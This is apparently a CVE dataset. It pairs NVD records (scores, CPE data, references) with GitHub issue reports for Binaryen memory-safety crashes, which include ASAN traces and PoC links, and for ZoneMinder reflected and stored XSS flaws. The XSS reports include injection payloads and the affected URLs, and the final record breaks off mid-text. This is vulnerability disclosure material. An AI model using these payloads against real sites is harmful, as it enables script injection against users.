CVE-2019-7153	2019-01-29T00:29:00.597	A NULL pointer dereference was discovered in wasm::WasmBinaryBuilder::processFunctions() in wasm/wasm-binary.cpp (when calling wasm::WasmBinaryBuilder::getFunctionIndexName) in Binaryen 1.38.22. A crafted input can cause segmentation faults, leading to denial-of-service, as demonstrated by wasm-opt.	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "NONE", "vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 6.5, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "version": "3.1" }, "exploitabilityScore": 2.8, "impactScore": 3.6, "source": "[email protected]", "type": "Primary" } ] }	[ { "source": "[email protected]", "tags": [ "Exploit", "Patch", "Third Party Advisory" ], "url": "https://github.com/WebAssembly/binaryen/issues/1879" } ]	[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:webassembly:binaryen::::::::", "matchCriteriaId": "DCFD315B-77AA-49CB-B137-824C51EFD078", "versionEndExcluding": "65", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]	https://github.com/WebAssembly/binaryen/issues/1879	[ "Exploit", "Patch", "Third Party Advisory" ]	github.com	[ "WebAssembly", "binaryen" ]	Hi, there. A Null pointer Deference problem was discovered in WasmBinaryBuilder::getFunctionIndexName(unsigned int) in wasm/wasm-binary.cpp. A crafted wasm input can cause segment faults and I have confirmed them with address sanitizer too. Here are the POC files. Please use "wasm-opt $POC" to reproduce the problem. [POC.zip](https://github.com/WebAssembly/binaryen/files/2776540/POC.zip) git log ``` commit 0e5e55053c171b138a0cf5aa8a08de8c7714048f Author: Alon Zakai <[email protected]> Date: Sat Jan 19 05:30:43 2019 -0800 Show a proper error on an invalid type in binary reading ; fixes #1872 (#1874) ``` The ASAN dumps the stack trace as follows: ``` AddressSanitizer:DEADLYSIGNAL ================================================================= ==14886==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x0000009ace8e bp 0x7ffccfd53b70 sp 0x7ffccfd539a0 T0) ==14886==The signal is caused by a READ memory access. ==14886==Hint: address points to the zero page. #0 0x9ace8d in wasm::WasmBinaryBuilder::getFunctionIndexName(unsigned int) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:970:10 #1 0x9ace8d in wasm::WasmBinaryBuilder::processFunctions() /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:1508 #2 0x980f41 in wasm::WasmBinaryBuilder::read() /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:706:3 #3 0xa81ed9 in wasm::ModuleReader::readBinary(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, wasm::Module&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-io.cpp:52:10 #4 0xa84b1c in wasm::ModuleReader::read(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, wasm::Module&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-io.cpp:71:5 #5 0x627919 in main /home/wencheng/Documents/FuzzingObject/binaryen/src/tools/wasm-opt.cpp:144:14 #6 0x7fac33df582f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #7 0x51c5b8 in _start (/home/wencheng/Documents/FuzzingObject/binaryen/build/bin/wasm-opt+0x51c5b8) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:970:10 in wasm::WasmBinaryBuilder::getFunctionIndexName(unsigned int) ==14886==ABORTING ```	Null pointer Deference in WasmBinaryBuilder::getFunctionIndexName(unsigned int) in wasm/wasm-binary.cpp	https://api.github.com/repos/WebAssembly/binaryen/issues/1879/comments	2	2019-01-20T12:02:25Z	2019-01-24T18:05:45Z	https://github.com/WebAssembly/binaryen/issues/1879	401,090,832	1,879
CVE-2019-7154	2019-01-29T00:29:00.627	The main function in tools/wasm2js.cpp in Binaryen 1.38.22 has a heap-based buffer overflow because Emscripten is misused, triggering an error in cashew::JSPrinter::printAst() in emscripten-optimizer/simple_ast.h. A crafted input can cause segmentation faults, leading to denial-of-service, as demonstrated by wasm2js.	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "NONE", "vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 6.5, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "version": "3.1" }, "exploitabilityScore": 2.8, "impactScore": 3.6, "source": "[email protected]", "type": "Primary" } ] }	[ { "source": "[email protected]", "tags": [ "Exploit", "Patch", "Third Party Advisory" ], "url": "https://github.com/WebAssembly/binaryen/issues/1876" } ]	[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:webassembly:binaryen::::::::", "matchCriteriaId": "DCFD315B-77AA-49CB-B137-824C51EFD078", "versionEndExcluding": "65", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]	https://github.com/WebAssembly/binaryen/issues/1876	[ "Exploit", "Patch", "Third Party Advisory" ]	github.com	[ "WebAssembly", "binaryen" ]	Hi, there. A Heap-buffer-overflow problem was discovered in cashew::JSPrinter::printAst() function in simple_ast.h in emscripten-optimizer, as distributed in Binaryen 1.38.22. A crafted wasm input can cause segment faults and I have confirmed them with address sanitizer too. Here are the POC files. Please use "./wasm2js $POC" to reproduce the error. [POC.zip](https://github.com/WebAssembly/binaryen/files/2775321/POC.zip) git log: ``` commit 777d33d40ff030f1711c40bf3cd5bc4bc36af313 Author: Alon Zakai <[email protected]> Date: Wed Jan 16 13:22:39 2019 -0800 Emscripten stack simplification (#1870) This takes advantage of the recent memory simplification in emscripten, where JS static allocation is done at compile time. That means we know the stack's initial location at compile time, and can apply it. This is the binaryen side of that: * asm2wasm support for asm.js globals with an initial value var X = Y; where Y is not 0 (which is what the stack now is). * wasm-emscripten-finalize support for a flag --initial-stack-pointer=X, and remove the old code to import the stack's initial location. ``` The ASAN dumps the stack trace as follows: ``` ================================================================= ==13429==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61d0000009ac at pc 0x000000654a5f bp 0x7ffc53b185d0 sp 0x7ffc53b185c8 WRITE of size 1 at 0x61d0000009ac thread T0 #0 0x654a5e in cashew::JSPrinter::printAst() /home/wencheng/Documents/FuzzingObject/binaryen/src/emscripten-optimizer/simple_ast.h:564:18 #1 0x654a5e in main /home/wencheng/Documents/FuzzingObject/binaryen/src/tools/wasm2js.cpp:119 #2 0x7f284ecc582f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #3 0x5116f8 in _start (/home/wencheng/Documents/FuzzingObject/binaryen/build/bin/wasm2js+0x5116f8) 0x61d0000009ac is located 0 bytes to the right of 2348-byte region [0x61d000000080,0x61d0000009ac) allocated by thread T0 here: #0 0x5d1aa0 in realloc /home/wencheng/Documents/CLib/llvm-6.0.1/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:107 #1 0x701b53 in cashew::JSPrinter::ensure(int) /home/wencheng/Documents/FuzzingObject/binaryen/src/emscripten-optimizer/simple_ast.h:581:26 #2 0x6ff826 in cashew::JSPrinter::print(cashew::Ref) /home/wencheng/Documents/FuzzingObject/binaryen/src/emscripten-optimizer/simple_ast.h:645:5 #3 0x718964 in cashew::JSPrinter::printVar(cashew::Ref) /home/wencheng/Documents/FuzzingObject/binaryen/src/emscripten-optimizer/simple_ast.h:1195:9 #4 0x6fff70 in cashew::JSPrinter::print(cashew::Ref) /home/wencheng/Documents/FuzzingObject/binaryen/src/emscripten-optimizer/simple_ast.h:734:26 #5 0x71db30 in cashew::JSPrinter::printStats(cashew::Ref) /home/wencheng/Documents/FuzzingObject/binaryen/src/emscripten-optimizer/simple_ast.h:764:9 #6 0x709a15 in cashew::JSPrinter::printDefun(cashew::Ref) /home/wencheng/Documents/FuzzingObject/binaryen/src/emscripten-optimizer/simple_ast.h:810:5 #7 0x700ea3 in cashew::JSPrinter::print(cashew::Ref) /home/wencheng/Documents/FuzzingObject/binaryen/src/emscripten-optimizer/simple_ast.h:684:28 #8 0x71db30 in cashew::JSPrinter::printStats(cashew::Ref) /home/wencheng/Documents/FuzzingObject/binaryen/src/emscripten-optimizer/simple_ast.h:764:9 #9 0x700e2e in cashew::JSPrinter::printToplevel(cashew::Ref) /home/wencheng/Documents/FuzzingObject/binaryen/src/emscripten-optimizer/simple_ast.h:774:7 #10 0x700e2e in cashew::JSPrinter::print(cashew::Ref) /home/wencheng/Documents/FuzzingObject/binaryen/src/emscripten-optimizer/simple_ast.h:723 #11 0x65363f in cashew::JSPrinter::printAst() /home/wencheng/Documents/FuzzingObject/binaryen/src/emscripten-optimizer/simple_ast.h:563:5 #12 0x65363f in main /home/wencheng/Documents/FuzzingObject/binaryen/src/tools/wasm2js.cpp:119 #13 0x7f284ecc582f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) SUMMARY: AddressSanitizer: heap-buffer-overflow /home/wencheng/Documents/FuzzingObject/binaryen/src/emscripten-optimizer/simple_ast.h:564:18 in cashew::JSPrinter::printAst() Shadow bytes around the buggy address: 0x0c3a7fff80e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c3a7fff80f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c3a7fff8100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c3a7fff8110: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c3a7fff8120: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x0c3a7fff8130: 00 00 00 00 00[04]fa fa fa fa fa fa fa fa fa fa 0x0c3a7fff8140: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c3a7fff8150: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c3a7fff8160: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c3a7fff8170: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c3a7fff8180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==13429==ABORTING ```	A Heap-buffer-overflow problem was discovered in cashew::JSPrinter::printAst() function in simple_ast.h	https://api.github.com/repos/WebAssembly/binaryen/issues/1876/comments	0	2019-01-19T07:42:40Z	2019-01-23T01:15:38Z	https://github.com/WebAssembly/binaryen/issues/1876	400,971,559	1,876
CVE-2019-7325	2019-02-04T19:29:00.383	Reflected Cross Site Scripting (XSS) exists in ZoneMinder through 1.32.3, as multiple views under web/skins/classic/views insecurely utilize $_REQUEST['PHP_SELF'], without applying any proper filtration.	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }	[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2450" } ]	[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:zoneminder:zoneminder::::::::", "matchCriteriaId": "8045339C-B032-47D7-BEAE-90BCC6699C06", "versionEndExcluding": null, "versionEndIncluding": "1.32.3", "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]	https://github.com/ZoneMinder/zoneminder/issues/2450	[ "Exploit", "Third Party Advisory" ]	github.com	[ "ZoneMinder", "zoneminder" ]	Describe Your Environment - ZoneMinder v1.33.1 - Installed from - ppa:iconnor/zoneminder-master Describe the bug There exists XSS in multiple views as it insecurely utilizes `$_REQUEST['PHP_SELF']`, that is without applying any proper filtration All the view files available under /web/skins/classic/views/ are vulnerable, expect few listed below. /web/skins/classic/views/blank.php /web/skins/classic/views/error.php /web/skins/classic/views/event.php /web/skins/classic/views/events.php /web/skins/classic/views/image-ffmpeg.php /web/skins/classic/views/_monitor_filters.php /web/skins/classic/views/_monitor_source_nvsocket.php /web/skins/classic/views/optionhelp.php /web/skins/classic/views/plugin.php /web/skins/classic/views/postlogin.php /web/skins/classic/views/status.php /web/skins/classic/views/timeline.php /web/skins/classic/views/version.php /web/skins/classic/views/watch.php To Reproduce Affected URL : http://localhost/zm/index.php/${injectionpoint}$?view=ANYVIEWNAME Payload used - `</script>"><img src=x onerror-prompt('1');>` - Navigate to the Affected URL, Payload would be triggered. <img width="487" alt="php_self" src="https://user-images.githubusercontent.com/47003572/51703531-93b8d000-203c-11e9-9bb6-97cfb33c70af.png"> Expected behavior - Proper escaping of special characters. Debug Logs ``` None ```	Reflected Site Scripting(XSS) - Multiple ($_SERVER['PHP_SELF']) (1)	https://api.github.com/repos/ZoneMinder/zoneminder/issues/2450/comments	0	2019-01-24T19:31:01Z	2019-02-10T06:12:59Z	https://github.com/ZoneMinder/zoneminder/issues/2450	402,861,864	2,450
CVE-2019-7326	2019-02-04T19:29:00.430	Self - Stored Cross Site Scripting (XSS) exists in ZoneMinder through 1.32.3, allowing an attacker to execute HTML or JavaScript code via a vulnerable 'Host' parameter value in the view console (console.php) because proper filtration is omitted. This relates to the index.php?view=monitor Host Name field.	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": false } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }	[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2452" } ]	[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:zoneminder:zoneminder::::::::", "matchCriteriaId": "8045339C-B032-47D7-BEAE-90BCC6699C06", "versionEndExcluding": null, "versionEndIncluding": "1.32.3", "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]	https://github.com/ZoneMinder/zoneminder/issues/2452	[ "Exploit", "Third Party Advisory" ]	github.com	[ "ZoneMinder", "zoneminder" ]	Describe Your Environment - ZoneMinder v1.33.1 - Installed from - ppa:iconnor/zoneminder-master Describe the bug The view `console`, insecurely prints the `Host` value on the webpage, without applying any proper filtration, leading to Self - stored XSS. To Reproduce Affected URL : http://localhost/zm/index.php?view=console Payload used - `"><img src=x onerror=prompt('1');>` - Navigate to the http://localhost/zm/index.php?view=monitor&mid=1&tab=source - Inject the XSS payload into the `Host Name` field. - Navigate to the affected URL, payload will be triggered <img width="521" alt="console" src="https://user-images.githubusercontent.com/47003572/51704205-7422a700-203e-11e9-919d-f98f01e1cfa5.png"> Expected behavior - Proper escaping of special characters. Debug Logs ``` None ```	Self - Stored Cross Site Scripting (XSS) - console.php	https://api.github.com/repos/ZoneMinder/zoneminder/issues/2452/comments	0	2019-01-24T19:44:53Z	2019-02-09T10:30:32Z	https://github.com/ZoneMinder/zoneminder/issues/2452	402,866,805	2,452
CVE-2019-7327	2019-02-04T19:29:00.477	Reflected Cross Site Scripting (XSS) exists in ZoneMinder through 1.32.3, allowing an attacker to execute HTML or JavaScript code via a vulnerable 'scale' parameter value in the view frame (frame.php) because proper filtration is omitted.	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }	[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2447" } ]	[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:zoneminder:zoneminder::::::::", "matchCriteriaId": "8045339C-B032-47D7-BEAE-90BCC6699C06", "versionEndExcluding": null, "versionEndIncluding": "1.32.3", "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]	https://github.com/ZoneMinder/zoneminder/issues/2447	[ "Exploit", "Third Party Advisory" ]	github.com	[ "ZoneMinder", "zoneminder" ]	Describe Your Environment - ZoneMinder v1.33.1 - Installed from - ppa:iconnor/zoneminder-master Describe the bug The view `frame`, insecurely prints the `scale` parameter value on the webpage without applying any proper filtration, leading to reflected XSS. To Reproduce Affected URL : http://localhost/zm/index.php?view=frame&eid=2&fid=99&scale=<script>alert('1');</script> Payload used - `<script>alert('1');</script>` - Navigate to the Affected URL, Payload would be triggered. <img width="553" alt="frame" src="https://user-images.githubusercontent.com/47003572/51702809-c3ff6f00-203a-11e9-80cc-6ff31184bde6.png"> Expected behavior - Proper escaping of special characters. Debug Logs ``` None ```	Reflected Cross Site Scripting(XSS) - frame.php	https://api.github.com/repos/ZoneMinder/zoneminder/issues/2447/comments	0	2019-01-24T19:18:03Z	2019-02-09T23:11:58Z	https://github.com/ZoneMinder/zoneminder/issues/2447	402,856,994	2,447
CVE-2019-7328	2019-02-04T19:29:00.523	Reflected Cross Site Scripting (XSS) exists in ZoneMinder through 1.32.3, allowing an attacker to execute HTML or JavaScript code via a vulnerable 'scale' parameter value in the view frame (frame.php) via /js/frame.js.php because proper filtration is omitted.	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }	[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2449" } ]	[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:zoneminder:zoneminder::::::::", "matchCriteriaId": "8045339C-B032-47D7-BEAE-90BCC6699C06", "versionEndExcluding": null, "versionEndIncluding": "1.32.3", "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]	https://github.com/ZoneMinder/zoneminder/issues/2449	[ "Exploit", "Third Party Advisory" ]	github.com	[ "ZoneMinder", "zoneminder" ]	Describe Your Environment - ZoneMinder v1.33.1 - Installed from - ppa:iconnor/zoneminder-master Describe the bug The view `frame`, insecurely prints the `scale` parameter value on the webpage that is without applying any proper filtration, leading to XSS. To Reproduce Affected URL : http://localhost/zm/index.php?view=frame&eid=1&fid=1&scale=</script>"><img src=x onerror=prompt('1');> Payload used - `</script>"><img src=x onerror=prompt('1');>` - Navigate to the Affected URL, Payload would be triggered. Affected source Files: /web/skins/classic/views/frame.php /web/skins/classic/views/js/frame.js.php <img width="456" alt="frame 3" src="https://user-images.githubusercontent.com/47003572/51703300-02495e00-203c-11e9-911d-09bd7188b4f6.png"> Expected behavior - Proper escaping of special characters. Debug Logs ``` None ```	Reflected Cross Site Scripting(XSS) - frame.php (3)	https://api.github.com/repos/ZoneMinder/zoneminder/issues/2449/comments	0	2019-01-24T19:26:47Z	2019-02-09T23:11:58Z	https://github.com/ZoneMinder/zoneminder/issues/2449	402,860,291	2,449
CVE-2019-7329	2019-02-04T19:29:00.570	Reflected Cross Site Scripting (XSS) exists in ZoneMinder through 1.32.3, as the form action on multiple views utilizes $_SERVER['PHP_SELF'] insecurely, mishandling any arbitrary input appended to the webroot URL, without any proper filtration, leading to XSS.	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": false } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }	[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2446" } ]	[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:zoneminder:zoneminder::::::::", "matchCriteriaId": "8045339C-B032-47D7-BEAE-90BCC6699C06", "versionEndExcluding": null, "versionEndIncluding": "1.32.3", "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]	https://github.com/ZoneMinder/zoneminder/issues/2446	[ "Exploit", "Third Party Advisory" ]	github.com	[ "ZoneMinder", "zoneminder" ]	Describe Your Environment - ZoneMinder v1.33.1 - Installed from - ppa:iconnor/zoneminder-master Describe the bug The form action on the multiple views utilizes `$_SERVER['PHP_SELF'];` insecurely. Any arbitrary input appended to the webroot URL, without any proper filtration would lead to an reflected XSS. To Reproduce Affected URL : http://localhost/zm/index.php/"><img src=x onerror=prompt('1');>?view=monitor Payload used - `"><img src=x onerror=prompt('1');>` - Navigate to the Affected URL, Payload would be triggered. Expected behavior - Proper escaping of special characters. Debug Logs ``` None ```	Reflected Cross Site Scripting (XSS) - Multiple ($_SERVER['PHP_SELF'])	https://api.github.com/repos/ZoneMinder/zoneminder/issues/2446/comments	0	2019-01-24T19:14:11Z	2019-02-10T06:12:59Z	https://github.com/ZoneMinder/zoneminder/issues/2446	402,855,606	2,446
CVE-2019-7330	2019-02-04T19:29:00.600	Reflected Cross Site Scripting (XSS) exists in ZoneMinder through 1.32.3, allowing an attacker to execute HTML or JavaScript code via a vulnerable 'show' parameter value in the view frame (frame.php) because proper filtration is omitted.	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }	[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2448" } ]	[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:zoneminder:zoneminder::::::::", "matchCriteriaId": "8045339C-B032-47D7-BEAE-90BCC6699C06", "versionEndExcluding": null, "versionEndIncluding": "1.32.3", "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]	https://github.com/ZoneMinder/zoneminder/issues/2448	[ "Exploit", "Third Party Advisory" ]	github.com	[ "ZoneMinder", "zoneminder" ]	Describe Your Environment - ZoneMinder v1.33.1 - Installed from - ppa:iconnor/zoneminder-master Describe the bug The view 